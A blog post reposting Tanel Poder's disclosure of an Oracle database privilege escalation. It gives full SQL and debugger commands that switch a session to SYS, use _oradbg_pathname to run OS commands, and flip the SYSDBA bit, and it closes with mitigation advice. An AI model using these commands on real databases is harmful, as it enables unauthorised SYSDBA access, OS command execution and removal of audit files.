One bit flipped and you are sysdba
Of sheer curiosity I searched for vulnerabilities in the Oracle database. I am starting my new job as a database consultant in Miracle in a couple of weeks, so I thought I would be good to start geeking out a bit more.
My first real job after university was in internet security. Here I learned about hacking and vulnerabilities and I also realized that a lot of the knowledge required to be a good hacker/security expert is in internals of software. Not necessarily knowledge, which can be utilized elsewhere, and at times also information, which won't be interesting or useful next year.
But I still have a fascination of the inner workings of a good vulnerability. I remember reading the classic paper Smashing The Stack For Fun And Profit by Aleph One and think "wow, that is clever"
Anyway, today I got the same feeling reading about Tanel Poders description of how to achieve sysdba privileges on an Oracle database starting with DBA or IMP_FULL_DATABASE.
A brilliant part of the vulnerability is using the debugger to flip one bit in a PGA server proces. One bit makes the proces running under sysdba privileges. Wow.
Read more about the vulnerability here
Read the paper Smashing The Stack For Fun And Profit here:
The original blog post is no longer available on Tanel Poders blog, which is a shame. Therefore I found the text out there on the internet and copied it here.
ORACLE 0-DAY BUG TO GET SYSDBA ACCESS TO THE DATABASE
I was doing some low-level security research on Oracle 11g and realized that combining couple little known Oracle’s features can allow anyone with DBA or IMP_FULL_DATABASE rights run any OS command under the same privileges the Oracle processes are running. This allows an attacker to erase files from audit_file_dest or patch the Oracle binary (after setting _disable_image_check to true) or make a dedicated server process a SYSDBA one using a debugger. I don’t rank this security issue a too critical one as exploiting it requires the attacker to already have high privileges - the BECOME USER privilege in addition to execute rights on KUPP$PROC package used by DataPump. These privileges are included in DBA and IMP_FULL_DATABASE roles by default. So in order to exploit the security flaw you would already have pretty destructive rights ( IMP_FULL_DATABASE has DROP ANY TABLE and such privs in it already ). However there are few assumptions on what a regular, non-SYSDBA DBA can’t do on modern Oracle versions ( where o7_dictionary_accessibility = false ). Few of those are: 1. can not alter SYS objects 2. can not shut down & restart database ( for changing audit_trail or remote_login_passwordfile settings ) 3. can not grant SYSDBA & SYSOPER privileges 4. can not grant rights on some SYS objects ( which haven’t been granted to DBA role with grant option ) 5. can not use oradebug 6. can not run OS commands using Oracle executable rights Those assumptions do not hold true for now for users with DBA or IMP_FULL_DATABASE role, until the issue has been fixed - or the BECOME USER privilege is revoked from the roles ( which may make full imports fail ). Here is the test case for Solaris ( but this can be made to work on other Unixes and Windows as well ): I will create a new user with “only” CREATE SESSION privilege and IMP_FULL_DATABASE role: SQL> create user test identified by test; User created. SQL> grant create session, imp_full_database to test; Grant succeeded. SQL> SQL> SQL> connect test/test@sol01 SQL> SQL> col user for a10 SQL> col username for a10 SQL> col cur_user for a10 SQL> col ses_user for a10 SQL> col cur_schema for a10 SQL> SQL> select 2 user, 3 username, 4 sys_context('USERENV', 'CURRENT_USER') cur_user, 5 sys_context('USERENV', 'SESSION_USER') ses_user, 6 sys_context('USERENV', 'CURRENT_SCHEMA') cur_schema 7 from 8 user_users 9 / USER USERNAME CUR_USER SES_USER CUR_SCHEMA ---------- ---------- ---------- ---------- ---------- TEST TEST TEST TEST TEST SQL> The following command would fail with following error if BECOME USER privilege wasn’t active: ORA-31625: Schema SYS is needed to import this object, but is unaccessible ORA-01031: insufficient privileges However as IMP_FULL_DATABASE role has the priv, it allows changing my current session’s username to SYS: SQL> exec sys.kupp$proc.change_user('SYS'); PL/SQL procedure successfully completed. SQL> SQL> select 2 user, 3 username, 4 sys_context('USERENV', 'CURRENT_USER') cur_user, 5 sys_context('USERENV', 'SESSION_USER') ses_user, 6 sys_context('USERENV', 'CURRENT_SCHEMA') cur_schema 7 from 8 user_users 9 / USER USERNAME CUR_USER SES_USER CUR_SCHEMA ---------- ---------- ---------- ---------- ---------- SYS SYS SYS SYS SYS Now let’s see what powers we have: SQL> grant dba to test; Grant succeeded. Nice! But not enough: SQL> grant sysdba to test; grant sysdba to test * ERROR at line 1: ORA-01031: insufficient privileges We can’t grant SYSDBA privilege as it’s different from the DBA role. So let’s use a debug event to execute an OS command, which attaches to our own process with MDB debugger and flips the bit in PGA which says whether we are SYSDBA or not: SQL> alter session set "_oradbg_pathname"='/usr/bin/echo "kzspga_ /W $[kzspga_|2]" | /usr/bin/mdb -p'; Session altered. SQL> alter session set events 'immediate debug'; Session altered. SQL> grant sysdba to test; Grant succeeded. After flipping the SYSDBA bit in our PGA we can grant SYSDBA to anyone! And this was done just with two simple alter session commands! I use event “immediate” to run the debug command immediately and only once, but for other purposes I could run a command every time an event is hit ( like 10046, 10053 or 4030/4031 etc ). We can also shutdown the database ( what only SYSOPER and SYSDBA can do ) as seen below: SQL> shutdown abort; ORACLE instance shut down. SQL> Note that the _oradbg_pathname parameter appeared in 10g, which allows us to specify any shell command to be executed when an event is hit. Oracle also supplies the current process SPID as first parameter to the command executed, which makes attaching to it with a debugger trivial. In 9i the event debug action only looked for a hard-coded filename under $ORACLE_HOME/bin directory (which makes it somewhat more secure ). If anyone has already started thinking “oh my god, does this mean that anyone with alter session rights can become SYSDBA?” then you can relax as Oracle has included an extra security check when changing _oradbg_pathname: C:\>sqlplus system/oracle@sol01 SQL*Plus: Release 220.127.116.11.0 - Production on Sat Nov 10 16:11:49 2007 Copyright (c) 1982, 2007, Oracle. All rights reserved. Connected to: Oracle Database 10g Enterprise Edition Release 10.2.0.2.0 - Production With the Partitioning, OLAP and Data Mining options SQL> alter session set “_oradbg_pathname”=’/usr/bin/echo “kzspga_ /W $[kzspga_|2]” | /usr/bin/mdb -p’; ERROR: ORA-02097: parameter cannot be modified because specified value is invalid ORA-01031: insufficient privileges A DBA who is not SYS can not change the parameter value despite having ALTER SESSION rights. However this is now the place where my earlier experiment with BECOME USER privilege comes into play: SQL> exec sys.kupp$proc.change_user('SYS'); PL/SQL procedure successfully completed. SQL> alter session set "_oradbg_pathname"='/usr/bin/echo "kzspga_ /W $[kzspga_|2]" | /usr/bin/mdb -p'; Session altered. The above examples were tested on Solaris 10 x64 with Oracle 10.2.0.2. I also tested this with Oracle 18.104.22.168 on OEL5 x64. As on Linux the standard debugger GDB behaves a little differently when reading commands from a pipe I had to break the commands into multiple parts: alter session set "_oradbg_pathname"='/bin/echo "set var kzspga_=kzspga_|2" > /tmp/.mycmd #'; alter session set events 'immediate debug'; alter session set "_oradbg_pathname"='/usr/bin/gdb -batch -x /tmp/.mycmd -p'; alter session set events 'immediate debug'; alter session set "_oradbg_pathname"='/bin/rm /tmp/.mycmd #'; alter session set events 'immediate debug'; What this means? To you ( depending on your environment and security strategy ): 1. Consider removing BECOME USER privilege from the roles DBAs are using 2. Know that IMP_FULL_DATABASE role essentially means SYSDBA - so be careful whom you grant it 3. Know that even DBAs with no OS access are able to change files in ORACLE_HOME and remove audit files from audit_file_dest To Oracle: 1. Make the BECOME USER privilege to not allow changing user to SYS 2. Make only SYSDBA holders to be able to change the value of _oradbg_pathname parameter ( @Tanel Poder )